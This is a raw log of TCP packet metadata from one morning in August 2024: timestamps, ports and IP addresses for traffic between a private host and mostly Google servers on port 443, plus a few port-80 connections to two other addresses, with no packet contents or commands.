Aug 5, 2024 12:00:26.447866917 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.484545946 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.488523006 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.641835928 CEST	49709	80	192.168.2.7	69.42.215.252
Aug 5, 2024 12:00:26.646732092 CEST	80	49709	69.42.215.252	192.168.2.7
Aug 5, 2024 12:00:26.646869898 CEST	49709	80	192.168.2.7	69.42.215.252
Aug 5, 2024 12:00:26.647010088 CEST	49709	80	192.168.2.7	69.42.215.252
Aug 5, 2024 12:00:26.651806116 CEST	80	49709	69.42.215.252	192.168.2.7
Aug 5, 2024 12:00:26.741605043 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.741723061 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.741791964 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.741835117 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.741971970 CEST	443	49704	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.743930101 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.743949890 CEST	49704	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.744503021 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.744537115 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.745779991 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.747106075 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.747121096 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.756586075 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:26.756616116 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:26.757766962 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:26.758188009 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:26.758202076 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:26.763708115 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.763879061 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.764519930 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.764631033 CEST	49703	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.764646053 CEST	443	49703	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.765007973 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.765039921 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:26.765095949 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:26.765114069 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:26.769803047 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.769983053 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:26.770178080 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:26.770189047 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:26.770239115 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:26.770253897 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.244119883 CEST	80	49709	69.42.215.252	192.168.2.7
Aug 5, 2024 12:00:27.245017052 CEST	49709	80	192.168.2.7	69.42.215.252
Aug 5, 2024 12:00:27.404774904 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.408128023 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.413690090 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.414777040 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.419363976 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.419372082 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.421473026 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.421478033 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.423029900 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.423154116 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.423162937 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.425012112 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.425017118 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.425091028 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.428162098 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.428169966 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.428416967 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.428575039 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.428870916 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.430691957 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.431282043 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.434254885 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.434283018 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.434506893 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.436105013 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.436664104 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.472500086 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.480529070 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.789350986 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.789400101 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.789441109 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.789550066 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.789681911 CEST	49711	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.789695978 CEST	443	49711	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.790638924 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.790674925 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.790728092 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.790920019 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.790935040 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.804284096 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.804377079 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.804397106 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.805259943 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.809142113 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.811532021 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.811543941 CEST	443	49713	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.811553001 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.812004089 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.812025070 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.822223902 CEST	49713	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.822277069 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.822633028 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:27.822648048 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:27.876997948 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.877032995 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.877129078 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.880337000 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.898313046 CEST	49712	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.898325920 CEST	443	49712	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.898726940 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.898741961 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:27.899491072 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.899729967 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:27.899735928 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.056567907 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.056611061 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.056766987 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.058252096 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.059465885 CEST	49714	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.059490919 CEST	443	49714	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.060364962 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.060385942 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.060534954 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.060750008 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.060760975 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.439723969 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.444217920 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.466408968 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.466423035 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.468439102 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.468442917 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.476677895 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.485766888 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.486167908 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.486180067 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.488095999 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.488101006 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.563935041 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.572113991 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.582906961 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.582914114 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.583070040 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.583076000 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.711534023 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.713546038 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.807781935 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.807790041 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.807965994 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:28.807970047 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:28.826205015 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.828306913 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.834753036 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:28.861082077 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.862646103 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:28.875243902 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.026853085 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.026917934 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.027024031 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.036853075 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.187849045 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.187993050 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.188246965 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.192526102 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.198245049 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.436796904 CEST	49722	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.436814070 CEST	443	49722	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.437556028 CEST	49718	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.437588930 CEST	443	49718	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:29.438031912 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.438107014 CEST	443	49725	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.438311100 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.438349009 CEST	443	49726	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:29.438474894 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.438755035 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.438755989 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.438791037 CEST	443	49726	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:29.438880920 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.438915014 CEST	443	49725	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.439443111 CEST	49720	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.439451933 CEST	443	49720	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:29.439819098 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.439856052 CEST	443	49727	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:29.440527916 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.445856094 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:29.445877075 CEST	443	49727	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:29.448673010 CEST	49721	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.448681116 CEST	443	49721	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.448966980 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.448997974 CEST	443	49728	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:29.449306965 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.449498892 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:29.449512005 CEST	443	49728	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.068582058 CEST	443	49726	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:30.071146965 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.074558973 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.074565887 CEST	443	49726	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:30.075079918 CEST	443	49727	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:30.081794977 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.081800938 CEST	443	49726	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:30.081902981 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.082191944 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.082201004 CEST	443	49727	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:30.082664967 CEST	443	49725	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.084136963 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.084146976 CEST	443	49727	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:30.084656954 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.084948063 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.084954977 CEST	443	49725	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.085567951 CEST	443	49728	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.086226940 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.087285995 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.087291956 CEST	443	49725	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.089037895 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.089054108 CEST	443	49728	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.089157104 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.089165926 CEST	443	49728	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:30.455703020 CEST	49726	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.455724001 CEST	49727	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:30.455756903 CEST	49728	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:30.455770969 CEST	49725	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:31.067595959 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.067675114 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.067749023 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.069112062 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.069125891 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.069169044 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.069176912 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.069245100 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.070038080 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.070050001 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.236938000 CEST	49737	80	192.168.2.7	81.70.163.227
Aug 5, 2024 12:00:31.241751909 CEST	80	49737	81.70.163.227	192.168.2.7
Aug 5, 2024 12:00:31.241825104 CEST	49737	80	192.168.2.7	81.70.163.227
Aug 5, 2024 12:00:31.242399931 CEST	49737	80	192.168.2.7	81.70.163.227
Aug 5, 2024 12:00:31.247176886 CEST	80	49737	81.70.163.227	192.168.2.7
Aug 5, 2024 12:00:31.697990894 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.698057890 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.708648920 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.708655119 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.713027954 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.713098049 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.721656084 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.721659899 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.728962898 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.728966951 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:31.731841087 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:31.731844902 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.095016003 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.095961094 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.101960897 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.124070883 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.124332905 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.124408007 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.678690910 CEST	49733	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.678710938 CEST	443	49733	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.679737091 CEST	49734	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.679742098 CEST	443	49734	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.680212021 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:32.680249929 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:32.680325031 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:32.680737019 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.680787086 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.681241989 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.681241989 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.681258917 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.681452990 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.681622982 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.681648970 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.681685925 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:32.681698084 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:32.801295996 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:32.801341057 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:32.801408052 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:32.802421093 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:32.802448034 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:32.824448109 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:32.824467897 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.018244028 CEST	80	49737	81.70.163.227	192.168.2.7
Aug 5, 2024 12:00:33.018300056 CEST	49737	80	192.168.2.7	81.70.163.227
Aug 5, 2024 12:00:33.340498924 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.340563059 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.343287945 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.343297958 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.344952106 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.345042944 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.347249985 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.347255945 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.347759008 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.347768068 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.350131035 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.350136042 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.454927921 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.455023050 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.455570936 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.455588102 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.457272053 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.457278967 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.462915897 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.462996960 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.463452101 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.463460922 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.463619947 CEST	49742	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.463624954 CEST	443	49742	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.732042074 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.732117891 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.732141018 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.732191086 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.733171940 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.733217955 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.733261108 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.740689993 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.740761042 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.740775108 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.740816116 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.741818905 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.741862059 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.741868973 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.741905928 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.751791000 CEST	49739	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.751812935 CEST	443	49739	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.764837027 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.764899015 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.764986038 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.765188932 CEST	49744	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.765221119 CEST	443	49744	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.765533924 CEST	49740	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.765547991 CEST	443	49740	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.766041040 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.766088009 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.766146898 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.766335964 CEST	49745	443	192.168.2.7	142.250.185.174
Aug 5, 2024 12:00:33.766354084 CEST	443	49745	142.250.185.174	192.168.2.7
Aug 5, 2024 12:00:33.892936945 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.893021107 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.893030882 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.893045902 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.893074989 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.893099070 CEST	49738	443	192.168.2.7	142.250.185.65
Aug 5, 2024 12:00:33.893106937 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.893166065 CEST	443	49738	142.250.185.65	192.168.2.7
Aug 5, 2024 12:00:33.893204927 CEST	49738	443	192.168.2.7	142.250.185.65
